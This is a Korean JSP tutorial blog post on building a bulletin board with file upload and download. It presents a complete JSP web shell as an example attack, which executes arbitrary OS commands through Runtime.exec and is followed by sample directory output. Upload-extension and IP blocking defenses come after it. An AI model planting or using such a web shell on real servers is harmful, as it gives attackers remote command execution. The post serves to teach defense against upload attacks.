JSP

 

[동영상강좌] 보아스 - Jsp25_게시판 만들기(파일업로드,

게시물 목록, 글쓰기), Clob 데이터 -Ojbc7

 

 

 

 파일 다운로드

 

 

한글 파일 이름 인코딩 Charset 소스 코드  CharsetDetector 

 

BoardController

 if(url.indexOf("download.do")!=-1){
			//게시물 번호
			int num=Integer.parseInt(request.getParameter("num"));
			//게시물 번호에 해당하는 첨부파일 이름 조회
			String filename=dao.getFileName(num);
			//서버의 파일을 읽어서 클라이언트로 복사
			String path =Constant.uplLoadPath(request)+File.separator+filename;
			//서버에 있는 파일 읽어오기
			byte b[] =new byte[4096];//바이트 배열
			FileInputStream fis=new FileInputStream(path);
			
			//마임타입(파일의 종료)
			String mimeType
			 =getServletContext().getMimeType(path);
			if(mimeType==null){
				mimeType
				="application/octet-stream;charset=utf-8";
			}
			//<한글 깨짐 설정>
			//첨부파일에 특수문자, 한글이 포함될 경우의 처리
			//스트링.getBytes("문자셋") 스트링을 바이트 배열로 변환
			//new String(바이트배열, "문자셋") 바이트배열을 스틍링으로
			//8859_1 (iso-8859-1 서유럽언어 문자셋)
			
			//1. 간단한 방법 그러나 근본적인 해결책이 아니다.
			
			//filename=new String(filename.getBytes("utf-8"), "8859_1");
			
			//
			//2. 파일의 인코딩을 검사해서 지정
			//http://blog.kjslab.com/5
			CharsetDetector cd =new CharsetDetector();
			File file=new File(path);
			Charset charset=cd.detectCharset(file);
			filename=new String(filename.getBytes(charset), "8859_1");
			
			//헤더 구성(첨부파일의 정보)
			response.setHeader("Content-Disposition", 
					"attachment;filename="+filename);
			
			//파일 출력
			ServletOutputStream out=
					response.getOutputStream();
			
			//파일 가져오기 및 출력 작업
			int numRead;
			while(true){
				//서버에서 읽음
				numRead=fis.read(b, 0, b.length);
				//더 이상 읽을 내용이 없으면 
				if(numRead==-1)break;
				//클라이언트로 복사
				out.write(b,0, numRead);
			}
			//리소스 정리
			out.flush();
			out.close();
			fis.close();
			//다운로드 횟수 증가 처리
			dao.plusDown(num);
			//Cannot call sendRedirect() after
			//the response has been committed
//			response.sendRedirect(contextPath
//					+"/board_servlet/list.do");

 

list.jsp

	
	<c:forEach var="dto" items="${list}">
		<tr>
			<td>${dto.num}</td>
			<td>${dto.writer}</td>
			<td>${dto.subject }</td>
			<td>${dto.reg_date}</td>
			<td>${dto.readcount}</td>

<td>
<!-- 파일 크기가 0보다 크면 아이콘 표시 -->
<c:if test="${dto.filesize >0 }">
<a href="${path}/board_servlet/download.do?num=${dto.num}">
<img src="http://download.seaicons.com/icons/zhoolego/material/512/Filetype-Docs-icon.png" width="50px" height="50px"></a>
<br>
${dto.filename }
</c:if>
</td>								
		<td>${dto.down }</td>
					
		</tr>
	</c:forEach>

 

 


    //다운로드 횟수 증가 처리

 

BoardDAO

	
	
	//다운로드 횟수 증가 처리
	public void plusDown(int num){
		SqlSession session=null;
		try{
			session=
				MybatisManager.getInstance().openSession();
			session.update("board.plusDown", num);
			session.commit();
		}catch(Exception e){
			e.printStackTrace();
		}finally{
			if(session!=null)session.close();
		}
	}
	

 

 

board.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<!-- memo.xml -->
<!-- 저장 프로시저 호출 방법 { call 프로시저이름(매개변수) } -->
<mapper namespace="board">

<!-- 네임스페이스 id는 중복이 될 수 없음 -->
	<select id="list" resultType="board.dto.BoardDTO">	
		select 
		  num, writer, subject, reg_date, readcount , filename, filesize,
		  down, ref, re_step, re_level
		 from BOARD
		  order by num desc
	</select>
	
<!-- 	<insert id="insert" >
		insert into board (NUM, WRITER, SUBJECT, PASSWD,  REF, RE_STEP,
 RE_LEVEL, CONTENT, IP)
 VALUES ((select nvl(max(num)+1, 1) from board)
     , 'kim', '제목', '1234', 
     (select nvl(max(num)+1, 1) from board)
     , 1, 0, '내용', '127.0.0.1')
	
	</insert> -->
	
	<insert id="insert">
		insert into board (NUM, WRITER, SUBJECT, PASSWD,  REF, RE_STEP,
			 RE_LEVEL, CONTENT, IP, filename, filesize)
 		VALUES (
 			
 		(select nvl(max(num)+1, 1) from board), #{writer},
 		 #{subject}, #{passwd}, 
 		
 		(select nvl(max(num)+1, 1) from board) 
 		, 1 , 0, #{content}, #{ip} ,#{filename}, #{filesize}
 		
 		) 
	</insert>	

	
	<select id="getFileName" resultType="String">
		select filename from board
			where num =#{num}
	</select>
	
	<update id="plusDown">
	 update board set down=down+1 where num=#{num}	
	</update>
	
	
	
</mapper>

 

 

 

 

 

web shell 공격 방어

 

공격용 소스 -  webshell.jsp

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*"%>
<%
	String execute = request.getParameter("execute");
	if (execute == null)
		execute = "";
%>
<html>
<head>
<title>WebShell</title>
<script>
	function send() {
		document.main.submit();
	}
</script>

</head>
<body>
	<br>
	<form method="post" name="main" action="webshell.jsp">
		<table style="width:400px" border="1" >
			<tr bgcolor="#F7FCFE">
				<td height="22" align="center" width="70">명령어</td>
				<td height="22" align="center" align="left"><input type="text"
					name="execute" size="30" value="<%=execute%>"> <input
					type="button" value="실행" onClick="javascript:send();"></td>
			</tr>
		</table>
	</form>
	<hr>
	<%
	
		if (!execute.equals("")) {
			BufferedReader br = null;
			Runtime rt = Runtime.getRuntime();
			Process proc = rt.exec("cmd /c "+execute);
			br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
			String line;
			while ((line = br.readLine()) != null) {
				out.println(line + "<br>");
			}
			br.close();
			proc.destroy();
		}
	%>
</body>
</html>

 

 

명령어

C ����̺��� ����: Windows
���� �Ϸ� ��ȣ: 986A-29B4

C:\Users\choi\Desktop\eclipse-neon-64 ���͸�

2017-05-28 ���� 12:36

.
2017-05-28 ���� 12:36

..
2016-06-29 ���� 01:03 60 .eclipseproduct
2017-05-19 ���� 03:21 410,974 artifacts.xml
2017-05-28 ���� 12:36

configuration
2017-02-07 ���� 10:49 116,551 debug.log
2016-10-07 ���� 01:01

dropins
2016-10-07 ���� 01:02 319,984 eclipse.exe
2017-05-19 ���� 03:22 780 eclipse.ini
2016-10-07 ���� 01:02 25,584 eclipsec.exe
2017-05-19 ���� 03:20

features
2017-04-03 ���� 01:09

features-�ѱ�
2016-12-18 ���� 10:40 1,413,722 lombok.jar
2017-04-12 ���� 12:36 230,678 mobile.css
2017-05-28 ���� 12:37

p2
2017-05-19 ���� 03:20

plugins
2017-04-03 ���� 01:09

plugins-�ѱ�
2017-04-03 ���� 01:14

plugins-�ѱ� ī��
2016-12-16 ���� 01:55

readme
8�� ���� 2,518,333 ����Ʈ
11�� ���͸� 29,603,602,432 ����Ʈ ����

 

 

 

 

 방어 

 

JAVA 보안 개발 가이드 2  - 18. 무제한 파일 업로드

 

					//첨부파일의 확장자 검사
					int start=filename.lastIndexOf(".")+1;
					String ext=filename.substring(start, filename.length());
					if(ext.equals("jsp")||ext.equals("exe")
						|| ext.equals("php")	
							){
						f1.delete();//업로드된 파일을 삭제함
						response.sendRedirect(contextPath
								+"/board/write.jsp?message=error");
						return;
					}

 

 

첨부파일의 확장자 검사

if(url.indexOf("insert.do")!=-1){

			//파일업로드 처리
			File uploadDir=new File(Constant.uplLoadPath(request));
			if(!uploadDir.exists()){
				uploadDir.mkdirs();
			}
			
			//request, 업로드 경로, 업로드 제한 용량, 문자셋, 중복파일
			MultipartRequest multi=
					new MultipartRequest(
							request,
							Constant.uplLoadPath(request),
							Constant.MAX_UPLOAD,
							"utf-8",
							new DefaultFileRenamePolicy() );
			String filename="";			
			int filesize=0;			
			
			try{
				//첨부파일 집합
				Enumeration files =multi.getFileNames();
				while(files.hasMoreElements()){//다음 요소가 있으면
					String file1=(String)files.nextElement();
					//첨부파일의 이름
					filename=multi.getOriginalFileName(file1);
					File f1=multi.getFile(file1);
					if(f1!=null){
						filesize=(int)f1.length();//파일크기
					}
					
					//첨부파일의 확장자 검사
					int start=filename.lastIndexOf(".")+1;
					String ext=filename.substring(start, filename.length());
					if(ext.equals("jsp")||ext.equals("exe")
						|| ext.equals("php")	
							){
						f1.delete();//업로드된 파일을 삭제함
						response.sendRedirect(contextPath
								+"/board/write.jsp?message=error");
						return;
					}
					
				}	
			}catch(Exception e){
				e.printStackTrace();
			}
			
			//폼에서 입력한 값들
			String writer=multi.getParameter("writer");
			String subject=multi.getParameter("subject");
			String content=multi.getParameter("content");
			String passwd=multi.getParameter("passwd");
			String ip=request.getRemoteAddr();//ip 주소
			
			//ip 차단
			String[] bad_ips={"192.168.0.50", "192.168.0.60", "192.168.0.2" };
			for(String str : bad_ips){
				if(ip.equals(str)){
					response.sendRedirect(contextPath
							+"/board/write.jsp?message=bad");
					return;
				}
			}
			
			
			BoardDTO dto=new BoardDTO();
			dto.setWriter(writer);
			dto.setSubject(subject);
			dto.setContent(content);
			dto.setPasswd(passwd);
			dto.setIp(ip);
		
			dto.setFilename(filename);
			dto.setFilesize(filesize);
			//테이블에 저장
			System.out.println(dto.toString());
			dao.insert(dto);
			//목록으로 이동
			String page=contextPath+"/board_servlet/list.do";
			
			response.sendRedirect(page);		

 

자바스크립트

	$("#btnSave").click(function(){
		//첨부파일의 확장자 검사
		var filename=document.form1.file1.value; //파일이름
		//aaa.bbb.ccc.jsp
		var start=filename.lastIndexOf(".")+1;
		if(start !=-1){
			var ext
			= filename.substring(start, filename.length);
			if(ext=="jsp" || ext=="exe"){
				alert("업로드할 수 없는 파일입니다.");
				return;
			}
		}
		document.form1.submit();
	});

 

 

 

//악성 키워드 변환

	public void insert(BoardDTO dto){
		SqlSession session=null;
		try{
			session
			=MybatisManager.getInstance().openSession();
			//악성 키워드 변환
			String[] bad_words={"대출", "저리", "광고" };
			for(String str : bad_words){
				if(dto.getSubject().indexOf(str)!=-1){
					String subject=dto.getSubject();
					subject=subject.replace(str, "변경된 단어");
					dto.setSubject(subject);
				}
			}
			session.insert("board.insert", dto);
			session.commit();		
		}catch(Exception e){
			e.printStackTrace();
		}finally{
			if(session !=null) session.close();
		}
	}

 

 

 

  ip 차단

BoardController

 

        //ip 차단
            String[] bad_ips={"192.168.0.50", "192.168.0.60", "192.168.0.2" };
            for(String str : bad_ips){
                if(ip.equals(str)){
                    response.sendRedirect(contextPath
                            +"/board/write.jsp?message=bad");
                    return;
                }
            }

 

if(url.indexOf("insert.do")!=-1){

			//파일업로드 처리
			File uploadDir=new File(Constant.uplLoadPath(request));
			if(!uploadDir.exists()){
				uploadDir.mkdirs();
			}
			
			//request, 업로드 경로, 업로드 제한 용량, 문자셋, 중복파일
			MultipartRequest multi=
					new MultipartRequest(
							request,
							Constant.uplLoadPath(request),
							Constant.MAX_UPLOAD,
							"utf-8",
							new DefaultFileRenamePolicy() );
			String filename="";			
			int filesize=0;			
			
			try{
				//첨부파일 집합
				Enumeration files =multi.getFileNames();
				while(files.hasMoreElements()){//다음 요소가 있으면
					String file1=(String)files.nextElement();
					//첨부파일의 이름
					filename=multi.getOriginalFileName(file1);
					File f1=multi.getFile(file1);
					if(f1!=null){
						filesize=(int)f1.length();//파일크기
					}
					
					//첨부파일의 확장자 검사
					int start=filename.lastIndexOf(".")+1;
					String ext=filename.substring(start, filename.length());
					if(ext.equals("jsp")||ext.equals("exe")
						|| ext.equals("php")	
							){
						f1.delete();//업로드된 파일을 삭제함
						response.sendRedirect(contextPath
								+"/board/write.jsp?message=error");
						return;
					}
					
				}	
			}catch(Exception e){
				e.printStackTrace();
			}
			
			//폼에서 입력한 값들
			String writer=multi.getParameter("writer");
			String subject=multi.getParameter("subject");
			String content=multi.getParameter("content");
			String passwd=multi.getParameter("passwd");
			String ip=request.getRemoteAddr();//ip 주소
			
			//ip 차단
			String[] bad_ips={"192.168.0.50", "192.168.0.60", "192.168.0.2" };
			for(String str : bad_ips){
				if(ip.equals(str)){
					response.sendRedirect(contextPath
							+"/board/write.jsp?message=bad");
					return;
				}
			}
			
			
			BoardDTO dto=new BoardDTO();
			dto.setWriter(writer);
			dto.setSubject(subject);
			dto.setContent(content);
			dto.setPasswd(passwd);
			dto.setIp(ip);
		
			dto.setFilename(filename);
			dto.setFilesize(filesize);
			//테이블에 저장
			System.out.println(dto.toString());
			dao.insert(dto);
			//목록으로 이동
			String page=contextPath+"/board_servlet/list.do";
			
			response.sendRedirect(page);		
					

 

 

 

 

 

 

about author

PHRASE

Level 60  머나먼나라

모든 악을 저지르지 말고 모든 선을 행하여 내 마음을 정(淨)하게 하는 이것이 제불(諸佛)의 가르침이다. -법구경

댓글 ( 4)

댓글 남기기

작성